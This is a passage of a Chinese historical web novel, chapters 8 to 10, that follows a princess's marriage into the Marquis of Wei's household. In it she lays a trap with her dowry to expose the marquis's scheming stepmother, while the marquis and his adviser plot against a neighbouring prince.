卫瀛接过展开,目光逡巡了半晌,才在侯府西南一角找到‘沐云馆’,刚好和魏侯书房、居所呈对角,是侯府里距离储况最远的地方。且这沐云馆四周园林稀疏,无遮无挡,意味着她的一举一动,外人都一目了然,极易被监视。 “果真‘清幽’,是个好地方!”卫瀛眉眼含笑,又说道,“‘沐云馆’?,太夫人取的这名字不俗。” 彩云再高再美,沐洗之后,还能剩下什么?空无一物! 好一个太夫人!本宫人还没到,下马威就先来了! 卫瀛厚赏了两位家臣,便让他们退下了。 玉扇此刻凑过来,“公主,这,这如何能忍!什么‘沐云馆’,侯府里的院子能有多大?还离魏侯待的地方那么远!” “远吗?”卫瀛眯起眼,指尖点在那图纸上,从沐云馆开始,一点点滑至储况书房。 储况,齐氏,你们一个想把本宫关进笼子,一个想把本宫丢在无人问津的角落。 可惜。 她指尖在沐云馆和书房之间一点稳稳定住。 远又如何,小又如何,铜墙铁壁又如何?本宫偏要从这里开始,闯出一条通天的大道! 8. 第 8 章 魏州治所,襄平城。 大婚当日,百姓都涌上街头看公主仪仗。 外面人声鼎沸,鎏金缀八宝流苏的车驾辚辚而动。 卫瀛盛装打扮坐在车里,掀开车帘一角,只见迎亲人马背影中央,储况一身殷红喜服,腰束玉带,骑在红缨金鞍的俊马上。 即便一袭红衣,那背影仍是那样渺远、宁和。 刹那间,铺天盖地的喧闹远去,漫天飞雪掠过,冲天大火腾起,空寂的宫殿,黑压压的铁甲,殷红、雪白、漆黑,三种色彩碰撞在一起,如焰火般炸裂,最后一切都化作了海棠花阴下的一抹月白。 卫瀛手指渐渐攥紧,轿帘皱起涟漪。 储况觉察到背后窥伺的视线,略一回首,只见金顶车驾的轿帘掀起一角,露出半张夺目的美人面。 视线交叠,卫瀛敛目嫣然一笑,手略松,车帘蓦地合上,将所有视线阻挡在了外面。 储况拇指摩挲着缰绳,隔了片刻,才收回视线。 接下来的婚礼有些奇异。 虽然一切都遵循仪轨,无可指摘,但无论是齐氏太夫人,还是魏州家臣,一举一动都没有半点兴头,透着一股公事公办的态度。 至于魏侯本人,他向来是那副风淡云轻的模样,看不出情绪。 洞房里,储况接过喜秤,动作轻缓的将盖头掀起,卫瀛仰面抬眸朝他一笑,储况回了个浅笑。随即合卺酒送到了两人面前,储况拿起,对卫瀛道,“魏州玉团春滋味醇厚,殿下量力即可。” 卫瀛却端起酒樽,笑得明媚,“魏侯不必担心本宫,倒是你自己,过会儿见客要少喝些,多饮伤身呐。” 主动抬手缠过储况手臂,不等他动作,她已仰面一饮而尽。 储况长眉微挑,正欲饮酒,视线却不经意滑过卫瀛勾着他臂弯的手。 金红婚服袖口处,露出一截玉白的腕子,那握着酒樽的手,纤长、白腻,柔若无骨,在喜烛暖光下,仿佛剥了壳的荔枝,吹弹可破。 真是倾尽王朝之力才能供养出来的一副皮囊。 储况收回视线,也将酒饮毕。 至此,大婚礼毕。 卫瀛朝储况道,“希望魏侯记得当日承诺,以后没事不要来烦本宫。” 说罢,她坐到妆镜前,招来侍女,“好了,本宫要休息了,魏侯可以退下了。” 储况顿了顿,起身缓步离去,到了门前略一侧眸,只见彤彤灯火下,镜前女子眉目慵懒,浓艳容色褪去了几分锐利,宛如绣在绢纱上的牡丹。 时候尚早,侯府派了个李姓老奴,带着两排婢女过来,叩见卫瀛。 那李媪跪地抬脸一笑,齿上涎水微微闪过一点光,“殿下千金贵体,少不了人侍奉,您从京畿带来的姑娘们各个都是顶好的,可毕竟初来魏州,太夫人特意命老奴给沐云馆多添置些人手,老奴挑的都是机灵懂事的丫头,用着放心。” 卫瀛瞧瞧那些低着头的婢女们,心底一哂,哼,这分明是监视她来了。 她让玉扇将婢女们带下去,又命烟素给李媪一些赏钱。 李媪手里拿着赏,眼睛却滴溜溜一转,挨个扫过卫瀛的侍女。 烟素忽然说道:“时候不早了,您也去歇歇吧。” 对方忙收回视线,眼睛从下往上偷瞄了烟素一眼,笑着告退。 门合上后,卫瀛一使眼色,烟素轻步到了她身边。 卫瀛低声道,“那些婢女,都盯紧些,不许进内室,更不许插手膳食,平日里多给她们安排些院子里的活计,别让她们有空闲做别的。” “奴婢明白。”烟素道。 翌日清晨,一位姓徐的家老带着侯府里所有高品阶的仆人,立在沐云馆门前,等候拜见公主。 卫瀛从内室出来,瞧着这满院子的下人,表情微冷。 按规矩,大婚转日,魏州家臣及女眷应拜见公主,现在在她面前带头行礼的,原本应该是太夫人,哪里轮得到侯府的老仆? 徐家老率众行礼后,齐氏身边的傅母郑氏便上前几步说,昨夜太夫人头疼了一宿,后半夜吃了副药才睡下,这会儿病体难支,无法过来觐见殿下,望殿下恕罪。 卫瀛做出一副忧心神色,“来人,快派御医去瞧瞧!” 郑傅母笑笑,神色不甚恭敬:“太夫人是旧疾,想来昨日大婚劳累,才复发了,府里有常吃的药方子,不敢劳烦殿下。” 卫瀛神色一冷,“你算什么东西,竟敢越俎代庖,代太夫人和本宫说话?” 她对侍女道,“去,教教她在本宫面前的规矩。” 郑傅母满脸错愕,显然没料到卫瀛变脸如此之快,不待她反应过来,便被两个侍女按着跪下,十几个耳光兜头砸了下来。 侯府下人们各个敛目而立,大气都不敢出。 郑氏领了罚,捂着脸不敢再说话,卫瀛却一笑,“既然太夫人吃了药,那御医的事也可缓一缓,本宫这就去探探病。” 齐氏居所在侯府中央的敬晖堂,卫瀛走到门前,只有满院的奴仆来迎,卫瀛越过奴仆瞧向那敞亮的厅堂,齐氏端坐上首,周身气度威严雍容,面前聚集了一批魏州家臣,正齐刷刷的朝她施礼。 家臣站定后,齐氏视线才慢慢瞧向卫瀛,略侧首和婢女低语了一句,那婢女出来将卫瀛请了进去。 “臣妇惶恐,本该臣妇去觐见殿下,可这身子实在不济,”说着,齐氏还咳了两声,“望殿下通融这一回。” 不待卫瀛开口,她便已经取了茶盏,掀起盖子,轻轻拨去浮沫,朝家臣们道,“还不快快给殿下行礼。” 堂中众人这才稀稀落落的朝卫瀛叩首行礼。 行礼后,一位样貌精练的家臣出列,朝齐氏道,“太夫人,臣有要事启禀,今年夏粮粮种之事……” “杜田监,”齐氏手微抬,笑道,“粮种的事,不急,老身正和殿下说话呢。” 那田监听了,略颔首,退了一步归列。 卫瀛冷眼瞧着,好啊,齐氏太夫人,果真威风!而这帮家臣,也真够‘听话’呢。 齐氏端详着卫瀛,幽幽说道:“殿下果然是国色天香啊,怨不得况儿去了趟京畿,说什么也要求娶回来。” “本宫也是念在魏侯求娶之心,情真意切,才选了他。”卫瀛笑道,那‘求娶’和‘情真意切’几个字咬得格外清晰。 齐氏只垂眸听着,末了笑道,“承蒙殿下抬爱,殿下一路舟车劳顿,想来十分辛苦,故而今早才没敢让家臣们去叨扰。” 卫瀛扯扯唇角,“哦,那多谢太夫人关爱了。” 视线扫过那些低眉垂眼的家臣,口气淡淡,“既然太夫人身体抱恙,又事务繁杂,本宫也不久待了。” 说罢,起身离去,她尚未走出大门,身后便有家臣朝齐氏道,“太夫人,调拨府库银钱的账目请您过目……” 等离开敬晖堂,走了一段路后,玉扇才露出满面怒容,“公主,那齐氏婆子欺人太甚,竟敢这般怠慢您!若是在京畿,就该拖出去杖毙!” 卫瀛挑眉轻笑,“可现在不是不在京畿吗?” 玉扇一愣,又听卫瀛道,“本宫考考你,方才,齐氏手边那套茶盏,什么材质,价值几何?” 玉扇略一回想,眼神一变,“似乎是整块红玉打造,看似不起眼,却价值百金,京畿内廷都没几只?!” “她身后那对双耳瓶呢?” 玉扇想想,“奴婢不知,看着似乎没什么?” 卫瀛摇摇头,“那是极品的水裂纹,成品极难得,一千只也烧不出一对来。” 卫瀛回首望向那敬晖堂,她自小看惯了天下至宝,方才和齐氏周旋那几句话的功夫,已将齐氏的摆设器物一一扫过,察觉齐氏之物都绝非凡品,远非诸侯太夫人的规制。 齐氏的用度,肯定另有财源,想来和李盛查到的走私路子脱不了干系。 而方才,家臣对齐氏都十分恭敬,政务不去问魏侯,反而来问太夫人,那敬晖堂倒更像是议政堂了! 老魏侯和嫡子战死后,齐氏偏相中了储况这个身份低微的外室子袭爵,无非是想把他当做傀儡。可惜,储况何许人也,岂能甘愿任人摆布? 看来,这齐氏不仅是她的眼中钉,也是储况的心头刺啊! 卫瀛慢慢踱着步子往回走,随手折下一枝花,一片片扯下花瓣,唇角浮起一抹讥讽。 好啊,刚到魏州,齐氏就敢这般待我,若不除掉齐氏,如何在魏州立足?再者,想要鲸吞魏州,势必要先蚕食,得先取信于储况,帮他拔掉这根刺就是最好的‘投诚书’! 更何况,我要的魏州,应当是一把利刃,若放任齐氏这等蠹虫侵蚀,只怕日后到我手里只剩一堆烂摊子了。 但,我手里的证据源头李盛,却被父皇定为‘罪臣’处死,若用这份证据发难,齐氏大可一口咬定是污蔑,且她在魏州树大根深,家臣必定站在她那边,非但扳不倒她,还对我大不利。 储况呢?不,交给他也绝对不行,若把证据都给了他,我只会被他一脚踢开开。唯有得‘亲手’扳倒齐氏,方可在魏州获得立足之地。 看来,必须想个人赃俱获的法子…… 大婚后两日,储况没再露过面,他在哪里、做什么,卫瀛一概不知,果真‘没来烦她’。 “公主,您不能再姑息齐氏了!”玉扇在她身边愤愤不平道,“别的不说,就拿这沐云馆来说,奴婢这几日仔细转了转,这院子小得可怜不说,连各样摆设、用具,都刚刚符合规制,多一点也没有!奴婢真想替您撕了她!” 烟素沉了沉,也低声道,“那些侯府来的下人们 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很快,侍女直接推开门,卫瀛大步进来,在书房中间站定,目光逡巡一圈,便朝储况道,“储况!你魏州穷得揭不开锅了?给本宫住的那是什么破院子?本宫在京畿,净室都比它大!你立刻找最好的工匠来,本宫要推倒重盖!” 家臣面面相觑,有的满脸惊愕,有的低下头偷偷撇嘴。 储况凝眸瞧着她,没有作答。 卫瀛见他没反应,又道,“怎么,难不成当真没钱?” 储况眼帘一落,耳畔微热,涌起一团湿冷气息,‘吵死了!这个疯丫头!’ 瞬间又转到另一侧耳边,‘你干嘛不杀了她?’ ‘对,快杀了她!就拿你袖底的匕首,刺进那纤细的脖子!’ ‘杀!’ 储况幽幽的吸了一口气,牙齿正欲将舌尖咬破,卫瀛却两步并一步的凑到他面前,“怎么不说话?当本宫好对付么!” 四目相对,她的影罩在了储况面上,自那层叠衣裙里泄出的幽香扑了他满怀,两人从未离得这般近。 刹那间,天地间都安静了,耳畔气息消失得无影无踪,仿佛从未存在过。 储况略眯眼,凝视着对方近在咫尺的面庞,那张脸上娥眉直竖,下巴紧绷,可那双眸子里却毫无怒意,只有审时度势的精明。 储况微怔了一息,展颜一笑,“殿下,沐云馆是家母所选,想来她性子爱静,所以选了个侯府最清幽的地方——” 他尚未说完,卫瀛注意力却早已被那箭簇吸引,面上怒火褪去,她伸手拿起一枚箭簇,举起来仔细一瞧,叹息道: “…怪不得怪不得!连箭簇都做得这么粗陋呢。唉,想来本宫在京畿,什么神兵利器没见过?单说那年西域进献的弯刀,吹毛立断,内廷典藏的书中说,那得用石炭烧出猛火,铁水埋进热灰里慢慢晾凉,如此三回,方成宝器!” 她看似说的无意,在场的家臣也大多没当真,唯有相邦贺衍之阖目捋须,难辨情绪,而王嵩则面露顿悟之色,储况只静静的瞧着她,随即看了王嵩一眼。 卫瀛将箭簇丢回桌上,神态颇为自怜,“哎,怨不得连院子都没法修呢!还以为这个魏州是个快活地方,没成想,这以后的日子怎么办啊!” 储况平静地注视她片刻,缓缓开口:“殿下,魏州鄙陋,自然比不得天家宫阙,既然殿下住不惯,修葺一事,自无不可。” 他略一笑,“不过,府库银钱皆有定数,何况近来为了改进军械冶炼之法,花费颇多,方才殿下提及的‘石炭’、‘热灰’之法,若真能解决军械难题,莫说一个院子,便是为殿下另起一座符合心意的别苑,也理所应当。” 随即,他话锋又是一转,“但在那之前,只好先委屈殿下暂居于沐云馆。臣可先派工匠过去,材料请殿下自行定夺,只是这开销……或需先从殿下的嫁妆中支取。待之后军械改进成功,府库省下银钱,自当加倍补偿。” “殿下,您意下如何?” 卫瀛眼睫掀起又缓缓落下,面上似乎在犹豫,思绪却疾如闪电——他分明是说,若想享受,先证明你的用处。然后用支取嫁妆测试她愿不愿意长期投入,看看她对魏州的诚意。 不,支取嫁妆,似乎目的不仅这些…… 嘶…若是嫁妆银钱频繁流动,岂不就把水搅浑了?那可是浑水摸鱼的大好时机!这府里贪财之徒,定然会按捺不住! 那么,偌大个魏州,敢贪到公主头上的,除了齐氏还能有谁?! 卫瀛几乎要打个冷颤,魏侯储况,轻飘飘一席话,明面上安抚了公主,自己只开了个空头支票,实际一分钱没花,还让家臣都看到:即便是公主,也得遵守他定的规矩。 更重要的是,电光火石间,他竟然已经想好了怎么利用她修院子的机会,达成他自己的目的! 9. 第 9 章 卫瀛眼睫再度掀起时,心里已有了定数。 一声轻笑,说道,“不就是些嫁妆嘛,有何不可?” “至于本宫刚才说的法子,你们大可去试,若还不成功,哈,本宫今天把话撂在这儿,日后军械改进的钱,本宫掏给你们!哼。” 说罢,转身而去。 卫瀛离开后,流觞榭里安静了几息。 储况朝王嵩道,“方才公主说的法子,如何?” 王嵩道:“或可一试!” “好,”储况道,“三日之内,我要见到结果。” 家臣散去,唯有相邦贺衍之略驻足,抚须朝储况道,“云卿,寻常女子,平日会翻军械书籍解闷的,怕是不多啊。” 储况温润一笑,“她能拿到那份‘投名状’来找我谈条件,又怎会是寻常女子。” 贺衍之轻轻摇头,“好在她只是个贪图享受的娇纵公主,魏州把她好好供起来就是。” 储况恭送贺衍之离开,再回到书房时,储况屏退左右,四下一片寂静。 他拈起一枚箭簇,指尖无意识地摩挲着锋刃,然而,方才卫瀛逼近他时,那奢侈的、绝对的安宁,却一去不返,此刻耳边的气息变本加厉,仿佛被短暂驱散后开始了报复。 ‘杀了她!’ ‘哈,什么人是你不敢杀的?’ 储况阖上眼,毫不犹豫的将指尖死死压在箭簇的尖上,几滴血坠落,暂且换来一点清净。 随意的抹去指腹的血,他指节叩了叩桌面,原本空无一人的书房梁上忽的闪出一个半大少年身影,身穿玄色劲装,鹿皮护臂,落地时无声无息。 储况吩咐道:“两件事,其一,传话下去,让各地货运官道及码头加强监察,尤其盯紧盐铁等官营之物,严打私贩私营,其二,在侯府里暗中放出消息,就说,公主的嫁妆里,有许多秘宝,无法登记在册,但价值连城。” 沐云馆。 卫瀛坐在榻边,玉扇过来奉茶,笑嘻嘻道,“这些魏州土包子,见识短,如何能和公主比!” “奴婢都不知您有过目不忘的本事呢!” 卫瀛接过茶盏,啜饮了一口,心底暗笑,她哪里是在书里看到的!那是她前世在晋州,暗中留意晋侯叶峋改进冶炼之法,记在心里,原本想可以助京畿守军一臂之力,没成想如今倒在魏州派上了用场。 至于这冶炼之法在魏州能不能成功,对她来说并不重要。成了,她多一点资本,败了,也不过是那书里写的不实罢了,她还可以堂而皇之的从嫁妆里拨钱给魏州改进军械,魏州多少得承她这个人情。 眼下最重要的是…… “这院子,是不是很快就能重新修啦?奴婢一定好好监工!”玉扇劲头十足。 卫瀛神色漠然的瞧瞧窗外,树影斑驳,假山嶙峋,明明是夏初,却格外清冷寂寥。 “一个院子而已,”卫瀛将茶盏撂下,“随意吧,你别把心思浪费在这上面。” “啊?”玉扇不解,“那奴婢该把心思放在哪儿?” 卫瀛召来了从京畿带来的甄女史。 “甄女史,本宫从京畿带来的嫁妆,即日起,除了带有内廷印记的,其余均不再清点。”卫瀛思忖了下,“而那些有印记的,都一一做好对牌,将对牌仔细保存,至于东西本身嘛,不用太上心了。” 甄女史一愣,“对牌本来就是领取和放回的凭证,若只看管对牌却不清点器物本身,那做对牌还有何用?” 卫瀛不语,只淡淡的瞧着她,甄女史顿了顿,忙道:“奴多嘴了,殿下自有成算……遵命。” 玉扇和烟素在旁听着,待甄女史退下,两人对视一眼,烟素神色如常,玉扇却倒吸了一口气,“公主的意思是……设好陷阱捕鼠?!” 烟素笑而不语。 玉扇忍不住凑到卫瀛身侧,压低声音:“咱们故意放松看管,就是等着这侯府里那些手脚不干净的老鼠自己撞进来,对不对?等他们偷了东西,人赃并获,哈!” 随即一拍手,“好啊好啊,终于要收拾下这侯府了!哼,这帮魏州的奴才,一个个的都不知公主的威风呢!” 卫瀛笑吟吟的瞧着她,“收拾魏州奴才有什么意思?” 玉扇笑意一滞,眼睛忽闪忽闪的眨了眨,“公主,是要……收拾这儿的主子?!” 她自以为领会了卫瀛全部意图,乐得见牙不见眼,摩拳擦掌道:“太好了!终于能狠狠打那老…太夫人的脸了!” 卫瀛看着她跃跃欲试的样子,只是略微一笑,没有再点破。 打齐氏的脸哪里值得这么大费周章? 她要的,是把齐氏这根大树从魏州连根拔起,至于剩下的树坑嘛……自然是她自己取而代之! 此后几日,卫瀛没有再去流觞榭,也没有问过那箭镞的事,直到第四天,午膳时储况派人给沐云馆送来了几道魏州野味,午后又送来了些糕饼,卫瀛掀开那三层的朱漆食盒,只见莲花酥、桂花糕、芙蓉团、芍药饼……清一色的京畿名点。 卫瀛把糕饼分给了侍女们。 玉扇吃了块桂花糕,又从身边烟素的盘子里拿了个芙蓉团,也咬了一口,都是地道的京畿风味,她不由蹙眉,“魏侯葫芦里卖的什么药?” 卫瀛倚在窗前的美人榻上,笑着看看那糕饼。 还能什么药,分明是那箭簇改进成功了,储况真把她当做只顾享乐的公主打发呢。 “去流觞榭吧,”卫瀛吩咐道,“咱们该找魏侯要几个修院子的帮手。” 流觞榭。 窗前竹叶轻摇,飒飒作响,储况正与贺衍之对坐手谈。 棋盘上风起云涌,贺衍之招招狠辣,面色却如水,落下一枚白子,“云卿可知,近来南边不太平。” 大启九州三郡,魏州东侧是强邻祁州,南边和江平郡相接,江平郡地势狭长,另一头过了江就是汉州。 储况道:“去年大旱,今年开春虽落了雨,却也补不上地里的亏空,听说有乡民揭竿作乱。” 贺衍之点点头,“那是江平郡,他们那里还算好些,据教中消息,真正乱起来的,是汉州。” 魏州虽也派探子去各州搜集情报,但人力物力耗费颇大,暂时无法时刻紧盯天下各州动态。 但魏州做不到的事,却有人能做到。 这,便是乾坤教。 乱世里现实太苦,心便渴求归处,于是信佛、信道,信些旁门左道的教派,天底下教坛比粮仓都多,大多是敛财的把戏,各州州府一清剿,立马能倒一大片。 可乾坤教,各州就是想动,都不知道人家在哪儿。 坊间传闻,乾坤教总坛位于昆仑山巅,分坛遍布各州。教主号昆仑山人,多年不露真容,手握乾坤令,能号令千万教众。 他身边三位副教主员峤客、方壶客和瀛洲客,都是得道仙翁,能腾云驾雾,呼风唤雨…… 储况落下一子,“烦请先生详谈。” 贺衍之捋捋长须,“汉州初夏时下了场雨,雨后发了蝗灾,百姓没了活路,纷纷北上,现在都涌到与江平郡一江之隔的沼泽荒地上,待旱情继续,江水再落一些,他们就可以渡水踏上江平地界了。” 储况手指一顿,“多少灾民?” 贺衍之吃了储况一子,攥在利爪一般的手里,抬起一双鹰隼般的环眼,“江边百里,灾民十余万,虽说不知到渡江时还能活多少,可江平王已经寝食难安了,探子汇报说他打算往江水里投毒,想先下手为强,毒死那些灾民。” 储况捻着棋子,“祁侯没有动静?” 贺衍之笑笑,“那老狐狸,安静的很。” 储况脸上也晕开浅淡笑意,柔声说道:“人命关天,这个消息可要尽早让灾民知道,不过空口无凭,江平王年岁大了,动作太慢,不如我们先往江水里扔些毒死的鱼虾好让灾民们看个清楚。” “好一个空口无凭!”贺衍之哈哈一笑,“还得给汉州灾民预备些渡江的舢板和趁手的武器。” 储况慢悠悠的收着棋子:“以学生愚见,舢板太过惹眼,旁人一瞧便知这群灾民得了助力,不如把下游的湖泊水库疏浚一下,一来江水可以加速下降,灾民很快就能渡江,二来,江水下游是江平郡的粮仓,放水淹田便断了江平郡的口粮,也能牵扯其人力,至于武器,农具足矣,即实用,又不露痕迹。” 贺衍之赞赏的看着储况,点了点头…… 储况才送贺衍之离开流觞榭,转身便看见一群侍女簇拥着中间衣着华贵的女子自花/径过来。 正是他的公主夫人。 “魏侯,”卫瀛笑着开口,“箭簇的事,既然成功了,为何不来通报一声?送些糕饼算什么!” 储况笑道,“臣送去糕饼,只是平日里聊表心意罢了,至于箭簇之事,确乎是殿下居功甚伟,臣该感谢殿下…” “好了,本宫的院子该修了吧?”卫瀛打断他道,“给本宫派几个能干的人来帮忙。” 储况瞧着卫瀛,面上仍笑着,脚下却略近了一步,花/径狭窄,卫瀛随行侍女众多,此刻两人距离免不得过分近了些。 他凝眸瞧着眼前女子,似乎在考虑辅佐人选,又似乎在不露声色的审视着什么。 四周竹海簌簌,花枝摇曳。 忽的,他似乎听见一缕牧歌,辽远悠长,带着草原上苍茫的风,混着草木香。 他眸光微闪,连忙脚下一挪,往后退了一步,耳边只余风过竹海的窸窣声响。 “……好。”隔了片刻,储况才回复道,“臣定会派得力人手辅佐殿下。” 卫瀛得意一笑,似乎心满意足,带着侍女浩浩荡荡的离开了。 储况停在原地,负手而立,指尖翻转着那枚玄铁片。 果然,那日的片刻安宁,绝非错觉…… 转日,储况遣魏州工监何肃良、府库令周延,一同来沐 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周延也跟着一笑,“殿下,如今修葺之事,虽章程未定,但工匠和土石木料可以先着手去准备,待章程定好,便可随时开工,可以节省工期,殿下认为如何?” “可。”卫瀛道,“这差事就交给周府库了。” 周延又笑笑,“臣领命,只是如今魏州府库吃紧,眼下开工,怕是要先从殿下处支取些银钱垫付上,主公也说了,日后定会加倍偿还殿下。” 卫瀛摆摆手,“不必多言,银钱的事,之前本宫已经和魏侯说好了,你需要多少,直接找甄女史支取便是。” 周延应下,这才告退离开。 卫瀛隔着窗棂望着周延背影,牡丹纹窗棂的影投在她面上,神色不明。 玉扇也瞧瞧,伏在她耳边道,“公主,这个姓周的倒像是个办事利落的?” “……谁知道呢,”卫瀛勾唇,“‘利落’的不见得是他。” 敬晖堂,烛火通明。 齐氏正批阅着府库账册,傅母郑氏无声入内,将一份图纸置于案头,屏退了周围婢女。 “太夫人,沐云馆那边来了消息,公主定的新址在东湖畔。”郑氏的声音里带着一丝不易察觉的紧绷。 东湖是魏侯府邸中央偏东的一大片水域,在流觞榭和沐云馆中间约三分之二处,距离魏侯活动起居的场所都近了不少。 齐氏翻阅账册的手指一停,眉梢微挑,“她倒是会挑地方。” 郑氏忍不住又道:“规制…超出沐云馆三倍,工程浩大,所耗皆从公主嫁妆支取。” 齐氏一合账册,冷哼一声,“猖狂,到魏州耍威风来了。” 账册下露出一封信,是祁州齐氏娘家寄来的,郑氏轻轻一瞥,只见那信中写着‘盐铁’、‘近来风声紧’等字眼。 齐氏将账册和书信敛好,放到案头一边,起身道,“再盯紧些,京畿来的金枝玉叶,安安分分的做个摆设就好,她若敢把手伸到流觞榭、甚至是议政堂的话,哼,别怨魏州风急,不懂怜香惜玉。” “奴婢明白,”郑氏忙道,她两颊被掌嘴的肿胀还没消去,目露精光的道,“沐云馆已经里里外外安插不少耳目了,一有风吹草动,立即就来向您禀报!” 齐氏扫了一眼她的怨毒神色,“当心些,不要打草惊蛇。” 郑氏平复了表情,躬身应下。 辅佐卫瀛修葺之事的何肃良、周延二人,都是魏州才能精干之辈,不出半月便开工破土了。 此后每隔几日,周延就会来沐云馆支取银钱,他似乎是个不嫌费事的,每笔款子都要跑一趟,从不凑在一起。 卫瀛起先还会看看单子,后来渐渐的只略扫一眼,再作出一副厌烦的模样,挥挥手,“不要总是来烦我,下次直接去找甄女史便可。” 周延只觑着卫瀛那不耐烦的神情,转身去找甄女史了。 卫瀛瞧瞧他背影,勾唇一笑。 眼看着款项流出频繁,支取笔数众多,接触公主私库的人员也逐渐繁杂,卫瀛便派烟素暗中细细的盘查了一遍嫁妆。 烟素回来,带着一份单子,私下呈给卫瀛,“殿下,这些日子里确实少了些,请您过目。” 卫瀛接过一瞧,丢的都是些普通首饰,多数都没镶嵌宝石珠翠,想来是府里的小毛贼偷了之后融成了金子,可这些首饰融在一起也没多少。 想来齐氏既然有走私的路子,销赃不成问题,她若出手,肯定会瞄准那些绝世之宝,而且势必不会把价值连城的宝贝融成金子卖,毕竟内廷精湛的工艺才是价值所在。 齐氏倒是真够谨慎。 看来,她得演一出好戏,才能引诱大鱼咬钩。 合上单子,卫瀛敛目一笑,“去,传我的旨意,就说本宫初来魏州,还不曾正式见过家臣和女眷们,三日后沐云馆设宴,咱们君臣同乐一番!” 10. 第 10 章 三日后,沐云馆。 白云流过天幕,映在一泓池水中,新荷绿叶铺了半个水面,九曲桥蜿蜒通向池中楼台,那楼台里飘来阵阵丝竹管弦之声。 楼中陈设奢华,永固公主正在设宴款待来觐见她的魏州家臣及女眷,婢女如流水般,端来数不清的玉盘珍馐,美酒满溢,处处飘香。 舞姬腰肢随着乐师的曲子,柳枝般摆动。 真是人间极乐之地。 家臣们饮美酒、赏舞姬,女眷们则细细品尝着那些佳肴和糕点,看着四周的陈设摆件,胆子大些的,便偷偷瞧几眼上首的公主,无不面露惊叹艳羡之色。 卫瀛一身石榴红宫裙,金丝绣的鸾凤密布裙摆和袖片,一举一动间,恍若凤舞九天。 她嫣然一笑,“诸位爱卿,本宫这宴席,如何?” 众人忙道‘极好’、‘妙哉’。 “怎么,就这么几个词?”卫瀛娥眉微蹙,似乎有些不满,“本宫在京畿的时候,父皇一设宴,那些文官们称赞起来,一个个都出口成章的。” 顿了顿,又道,“你们在魏州辅佐魏侯,肯定也都是饱学之士,怎么这般敷衍本宫?” 席间一时无人出声,两息后,一个低沉的嗓音响起,“我魏州饱学之士,身怀真才实学,只用在为魏州谋福祉上。” 卫瀛循声一瞧,只见是个挺拔健硕的武官,他随即拱拱手,“还请殿□□谅一二。” 卫瀛眉眼弯弯,“本宫开心,魏侯就开心,魏侯开心,难道不是你魏州的福祉么?” 对方一时语塞,却听卫瀛娇笑出声,“看你打扮,该是个武官,本宫方才提的是文官,你何必横插一脚呢!放心,本宫不会难为武官吟诗作赋的!” 这话明摆着倒打一耙,笑话武官不通文墨,那武官听后不由面色微动,似乎还想开口,却见周延此时起身,笑呵呵的给他倒了一杯酒,“赵将军何必这么死板呢!宴饮作乐,图的就是乐子嘛!” 周延将酒塞进赵玄璋手里,两人对视一眼,赵玄璋便重新坐好,自顾自的饮酒了。 周延转身,还是那副笑脸,“殿下若是不嫌弃,那臣就斗胆献丑,作一篇赋。” 卫瀛手指一点,让侍女给周延笔墨。 周延提笔,略沉吟了几息,便一气呵成,将笔一掷,提起墨迹未干的纸张,煞有介事的念了起来,净是什么‘清荷鲜妍兮云霞蔚’,‘佳澧醇香兮沁心脾’的浅白句子。 卫瀛听得几乎要压不住唇角,好不容易忍到他念完那篇又臭又长的赋,才哼哧一声笑出来,“作得好!该好好赏你才是。” 说着,她命玉扇取来一对黄金镶八宝的如意,“这对如意,赏赐给你了。” 席间众人一看便知那对如意价值不菲、工艺精湛,恐怕将魏州挖个底朝天,也没有工匠能做出来。 周延喜色难掩,跪地连连告恩。 席间一位文官夫人此刻吹捧道,“周府库词句间精妙之处,殿下一听便知!果然是天潢贵胄,秀外慧中啊。” 卫瀛笑意越发浓郁,“这是哪位爱卿的夫人?赏!” 又赐给那个夫人一对金镯子。 卫瀛命乐师换了只更欢腾的曲子,她本人似乎也越发快活起来,命玉扇取来景元帝赐给她的宝石金盏,此物一拿出来,便吸引了所有人的目光。 只见那金盏较寻常酒樽大了许多,沉甸甸的,金子打造的藤蔓花枝缠绕交织,覆盖整个酒盏,花枝上镶满各色宝石雕刻的花朵,还有几只玉石玛瑙雕出来的鸟雀停在花枝间。一眼可知此物价值连城,引得众人阵阵赞叹。 卫瀛此刻好像已经有些醉了,两颊微红,眼神略带一丝迷蒙之色。 她自己倒满了酒,举起宝石金盏,哼着乐师奏的曲子,起身抬步到了席间舞姬身侧,将美酒喂给了其中一个,却不甚手一歪,宝石金盏倏然坠地,砸出一声闷响,那舞姬吓得忙跪地,曲声骤停。 家臣和女眷们都捏一把汗,想来这般宝物摔到地上,若是有哪里损坏,这舞姬难免被迁怒。 却见卫瀛瞧瞧地上的宝石金盏,竟抬起脚踢了踢,“唉,这粗笨东西,每次用它都压得本宫手腕疼,还不如玉盏轻便!” 说罢,又踢了一脚,金盏骨碌碌滚了两圈,“样子也老,不如哪天融了,重新打一副头面!” 这才回身往座位走去,路过那跪地的舞姬身前时,她笑道,“一个金盏而已,坏了就坏了,何必怕成这样?起来吧。” 席间众人面面相觑,无不惊愕于永固公主的挥金如土。 周延摸摸身边新得的如意,轻轻一笑。 一个在席间斟茶倒酒的婢女视线不露声色的扫过整个宴席,又瞧了下那滚在地上的金盏,低头悄然退下。 婢女出了沐云馆,沿小路走向东湖边的一丛假山里,片刻后却是李媪自里面出来,婢子则从另一侧的出口离开。 敬晖堂。 傅母郑氏眼睛微瞪,“当真?” 李媪嘬了下牙花子,满脸心疼的道,“千真万确!这一场宴席下来,赏赐如流水,那御赐的宝石盏就那么在脚底下踢着玩啊!” 郑傅母眼珠转了转,纤薄的唇边浮起一丝冷笑,转身去见齐氏。 齐氏正在阖目听着田监杜贤禀报。 “今年夏初以来多雨,恐生水患!臣以为,该全力疏通沟渠,加固堤坝,修筑围堰蓄水保田。” “杜田监,”齐氏睁开眼,“魏州毗邻的祁州、江平等地,可有这样着手应对?” 杜贤:“…还不曾。” “那便是了,”齐氏道,“魏州水源多来自祁州,又往江平等地散开,若祁州不治理,我们花再大的力气也只是白白浪费银钱罢了,依老身看,不妨只将水道拓宽就好,这差事就交给你了。” 杜贤眼睑一垂,主公已经袭爵,想来凡事都需谨慎些,虽然工程量比他原本提议的减了不少,但各个环节依然有油水可捞,若再坚持,只怕惹恼了太夫人,断了日后财路,便笑着应下。 齐氏将他神色尽收眼底,也默契的一笑。 杜贤告退后,郑氏到了齐氏耳边低语了一阵。 “这位公主,竟这般豪奢?”齐氏面露惊疑。 